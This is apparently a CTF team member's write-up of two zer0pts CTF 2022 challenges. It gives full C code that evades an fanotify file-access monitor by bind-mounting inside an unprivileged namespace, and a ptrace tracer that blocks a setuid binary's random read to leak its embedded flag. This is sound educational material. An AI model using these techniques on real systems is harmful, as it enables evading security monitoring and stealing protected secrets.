I played zer0pts CTF 2022 with my team, Crusaders of Rust. Here’s a couple of challenges I solved.
0AV
- Category:
Misc
- Solves:
12
- Points:
256
- Description:
This anti-virus prevents me from reading the flag. Can you read /playground/flag.txt anyhow?
In this challenge, we’re provided source code (antivirus.c
), as well as a bzImage
and rootfs.cpio
file we can use to boot the kernel.
Let’s run qemu and give it a look.
Starting syslogd: OK
Starting klogd: OK
Running sysctl: OK
Saving random seed: OK
Starting network: OK
Starting dhcpcd...
dhcpcd-9.4.1 starting
forked to background, child pid 82
Boot took 4.19 seconds
[ Native Protection - zer0pts CTF 2022 ]
/ $ id
uid=1337 gid=1337 groups=1337
/ $ ls -la
total 4
[ ... ]
drwxrwxrwx 2 root root 60 Feb 20 07:51 playground
[ ... ]
/ $ cd playground
/playground $ ls -la
total 4
drwxrwxrwx 2 root root 60 Feb 20 07:51 .
drwxr-xr-x 18 root root 420 Feb 20 07:53 ..
-rwxrwxrwx 1 root root 28 Feb 20 07:51 flag.txt
/playground $ cat flag.txt
cat: can't open 'flag.txt': Operation not permitted
/playground $ ls -la
total 0
drwxrwxrwx 2 root root 40 Mar 20 13:17 .
drwxr-xr-x 18 root root 420 Feb 20 07:53 ..
Even though we have permissions to read the flag, we’re denied access and the file was deleted. Let’s check out antivirus.c
.
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <poll.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <sys/fanotify.h>
#include <unistd.h>
static int scanfile(int fd) {
char path[PATH_MAX];
ssize_t path_len;
char procfd_path[PATH_MAX];
char buf[0x10];
if (read(fd, buf, 7) != 7)
return 0;
if (memcmp(buf, "zer0pts", 7))
return 0;
/* Malware detected! */
snprintf(procfd_path, sizeof(procfd_path), "/proc/self/fd/%d", fd);
if ((path_len = readlink(procfd_path, path, sizeof(path) - 1)) == -1) {
perror("readlink");
exit(EXIT_FAILURE);
}
path[path_len] = '\0';
unlink(path);
return 1;
}
static void handle_events(int fd) {
const struct fanotify_event_metadata *metadata;
struct fanotify_event_metadata buf[200];
ssize_t len;
struct fanotify_response response;
for (;;) {
/* Check fanotify events */
len = read(fd, buf, sizeof(buf));
if (len == -1 && errno != EAGAIN) {
perror("read");
exit(EXIT_FAILURE);
}
if (len <= 0)
break;
metadata = buf;
while (FAN_EVENT_OK(metadata, len)) {
if (metadata->vers != FANOTIFY_METADATA_VERSION) {
fputs("Mismatch of fanotify metadata version.\n", stderr);
exit(EXIT_FAILURE);
}
if ((metadata->fd >= 0) && (metadata->mask & FAN_OPEN_PERM)) {
/* New access request */
if (scanfile(metadata->fd)) {
/* Malware detected! */
response.response = FAN_DENY;
} else {
/* Clean :) */
response.response = FAN_ALLOW;
}
response.fd = metadata->fd;
write(fd, &response, sizeof(response));
close(metadata->fd);
}
metadata = FAN_EVENT_NEXT(metadata, len);
}
}
}
int main(void) {
int fd;
/* Setup fanotify */
fd = fanotify_init(FAN_CLOEXEC | FAN_CLASS_CONTENT | FAN_NONBLOCK, O_RDONLY);
if (fd == -1) {
perror("fanotify_init");
exit(EXIT_FAILURE);
}
/* Monitor every file under root directory */
if (fanotify_mark(fd,
FAN_MARK_ADD | FAN_MARK_MOUNT,
FAN_OPEN_PERM, AT_FDCWD, "/") == -1) {
perror("fanotify_mark");
exit(EXIT_FAILURE);
}
for (;;) {
handle_events(fd);
}
exit(EXIT_SUCCESS);
}
Most of this is boilerplate, setting up an fanotify listener.
Whenever we attempt to open a file located on the /
mount, the kernel will notify this executable. It will read from the file we attempt to access - if it begins with zer0pts
, it will be denied and then unlink
‘d.
Luckily, the man page has the answer for us:
Bugs:
[ ... ]
As of Linux 3.17, the following bugs exist:
* On Linux, a filesystem object may be accessible through
multiple paths, for example, a part of a filesystem may be
remounted using the --bind option of mount(8). A listener
that marked a mount will be notified only of events that were
triggered for a filesystem object using the same mount. Any
other event will pass unnoticed.
We can simply perform a bind mount, and accesses to the file through it will not trigger the fanotify
listener. Mounting requires CAP_SYS_ADMIN
, but the kernel has unprivileged user namespaces available.
We can use this to enter a new mount namespace, bind mount /playground
to a controlled directory, and read the content of the flag:
#define _GNU_SOURCE
#include <sched.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/mount.h>
#include <unistd.h>
#include <stdio.h>
int main() {
if (unshare(CLONE_NEWUSER|CLONE_NEWNS)) {
perror("unshare");
exit(0);
};
mkdir("/tmp/mount");
if (mount("/playground", "/tmp/mount", NULL, MS_BIND, NULL)) {
perror("mount");
exit(0);
}
int fd = open("/tmp/mount/flag.txt", O_RDONLY);
if (fd == -1) {perror("Opening"); exit(0);}
char buf[100];
int res = read(fd, buf, 100);
buf[res] = 0;
puts(buf);
}
After uploading this on the remote instance, we get the flag printed out:
zer0pts{FANOTIFY_d03snt_w0rk_b3tw33n_d1ff3r3nt_n4m3sp4c3s...}
readflag
- Category:
Misc
- Solves:
10
- Points:
277
- Description:
All you need is strings.
#include <stdio.h>
const char flag[] = "fak3pts{nyanyanyanyanyanyanyanyanyanyanyanyanyanyanyanya}";
int main() {
FILE *random;
if ((random = fopen("/dev/urandom", "rb")) == NULL) {
perror("fopen");
return 1;
}
for (const unsigned char *f = flag; *f; f++) {
unsigned char r;
if (fread(&r, 1, 1, random) != 1) {
perror("fread");
return 1;
}
printf("%02x", *f ^ r);
}
printf("\n");
return 0;
}
This looks simple enough. The flag is printed out after being XORed with an unpredictable one-time-pad. We can’t recover the flag from the output, but the flag is in plaintext - let’s just read the binary!
---s--x--x 1 root root 16848 Mar 16 07:46 readflag
Unfortunately, we can’t. We only have execute permissions on the binary. How can we access the flag?
Ideas:
- Use
LD_PRELOAD
to make the data returned fromfread
predictable? - The SUID bit is set, which causes
LD_PRELOAD
and similar variables to be cleared - Use
ptrace
+PTRACE_PEEKTEXT
to read the flag out of binary memory? - As the filesystem permissions do not allow reading or writing, we don’t have the ability to do this, and PEEKTEXT will be denied
- Use
PTRACE_SYSCALL
to prevent/dev/urandom
from being read out? - This works - under
ptrace
, even though we can’t edit memory, we can trace the programs behaviour and modify its registers.
Some light debugging reveals that the initial fread
causes read(fd, <buf>, 4096)
, as the program buffers the extra file data. So, we write a program to simple disable this syscall:
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <errno.h>
#include <sys/personality.h>
#include <sys/user.h>
int main(int argc, char *argv[])
{ pid_t traced_process;
struct user_regs_struct regs = {};
long ins;
if(argc != 2) {
printf("Usage: %s <program to be traced>\n",
argv[0], argv[1]);
exit(1);
}
int pid = fork();
if (pid == 0) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
execve(argv[1], &argv[1], NULL);
puts("exec failed");
return -1;
}
wait(NULL);
while (1) {
int blocked = 0;
// Wait until the child makes a syscall
ptrace(PTRACE_SYSCALL, pid, 0, 0);
waitpid(pid, 0, 0);
ptrace(PTRACE_GETREGS, pid, 0, ®s);
// Are we trying to read /dev/urandom?
if (regs.orig_rax == 0 && regs.rdx == 4096) {
blocked = 1;
// Set it to use an invalid syscall number so it will fail
regs.orig_rax = -1;
ptrace(PTRACE_SETREGS, pid, 0, ®s);
}
// Continue on with the now blocked syscall
ptrace(PTRACE_SYSCALL, pid, 0, 0);
waitpid(pid, 0, 0);
// The program checks return value of the read, so we need to make sure that the return value isn't `-ENOSYS`
if (blocked) {regs.rax = 1; ptrace(PTRACE_SETREGS, pid, 0, ®s); }
}
return 0;
}
We upload this on the remote, and execute it against /readflag
to receive: 7a6572307074737b446561722064696172792e2e2e20576169742c2061726520796f75722072656164696e6720746869733f2053746f70217d0a
Decoding this from hex, we get the real flag:
zer0pts{Dear diary... Wait, are your reading this? Stop!}